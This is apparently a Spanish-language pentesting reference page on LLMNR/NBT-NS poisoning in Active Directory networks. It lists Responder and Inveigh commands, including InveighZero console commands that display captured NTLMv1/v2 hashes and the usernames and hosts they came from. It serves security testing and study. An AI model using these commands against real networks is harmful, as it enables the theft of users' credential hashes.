> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/recoleccion-de-informacion-y-enumeracion/llmnr-nbt-ns-poisoning.md).

# LLMNR/NBT-NS poisoning

## Responder

```shell
responder -I <interface> -A
```

* -I =interfaz de red.
  * \<interface> = interfaz de red.
* -A = modo de análisis, esta opción permite ver las solicitudes pero sin responder.

## Inveigh

### **PowerShell Inveigh**

```powershell
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
```

### C# Inveigh (InveighZero)

```shell
.\Inveigh.exe
```

Presionar la tecla `ESC` para ingresar a la consola interactiva.

```shell
# Visualizar opciones de consola interactiva
HELP

# Visualizar hashes NTLM capturados por usuario
GET NTLMV1UNIQUE
GET NTLMV2UNIQUE

# Visualizar nombres de usuario y direcciones IPs/hostnames de origen
# para hashes NTLM capturados
GET NTLMV1USERNAMES
GET NTLMV2USERNAMES
```